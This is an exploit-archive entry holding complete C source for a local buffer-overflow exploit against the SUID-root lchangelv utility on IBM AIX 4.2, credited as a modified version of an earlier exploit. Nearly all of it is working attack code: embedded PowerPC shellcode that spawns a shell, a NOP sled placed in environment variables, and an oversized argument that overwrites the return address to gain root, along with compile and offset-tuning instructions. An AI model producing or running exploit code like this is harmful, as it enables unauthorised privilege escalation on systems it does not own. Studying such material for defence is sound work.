IBM AIX 4.2 - '/usr/sbin/lchangelv' Local Buffer Overflow

                							

                /*
source: http://www.securityfocus.com/bid/389/info

A buffer overflow can occur in lchangelv under some versions of AIX. Note that an attacker must already have the GID or EGID of 'system' to execute lchangelv.

Because lchangelv is SUID root, this overflow will grant the attacker root privileges.
*/

/*
 *
 *   /usr/sbin/lchangelv (kinda' coded) by BeastMaster V
 *
 *   CREDITS: this is simply a modified version of an exploit
 *   posted by Georgi Guninski (guninski@hotmail.com)
 *
 *   NOTES: you must have gid or egid of (system) to run this.
 *
 *   USAGE:
 *            $ cc -o foo -g aix_lchangelv.c
 *            $ ./foo 5100
 *            #
 *
 *
 *   HINT: Try giving ranges from 5090 through 5500
 *
 *   DISCLAIMER: use this program in a responsible manner.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

extern int execv();

#define MAXBUF 600

unsigned int code[]={
        0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
        0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
        0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
        0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
        0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
        0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
        char *c;
        int l;

        l=strlen(name)+strlen(value)+4;
        if (! (c=malloc(l))) {perror("error allocating");exit(2);};
        strcpy(c,name);
        strcat(c,"=");
        strcat(c,value);
        putenv(c);
        return c;
}

main(int argc,char **argv,char **env)
{
        unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
        int min=100, max=280;
        unsigned int return_address;
        char *newenv[8];
        char *args[4];
        int offset=3200;

        if (argc==2) offset = atoi(argv[1]);

        pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

        *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
        *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
        *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
        *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

        return_address=(unsigned)&buf[0]+offset;

        for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
        strcpy((char*)&buf[nop],(char*)&code);
        i=nop+strlen( (char*) &code)/4-1;

        for(i=0;i<max-1;i++) frame[i]=return_address;
        frame[i]=0;

        newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
        newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
        newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
        newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
        newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
        newenv[5]=NULL;

        args[0]="lchangelv";
        args[1]="-l";
        args[2]=(char*)&frame[0];
        execve("/usr/sbin/lchangelv",args,newenv);
        perror("Error executing execve \n");
}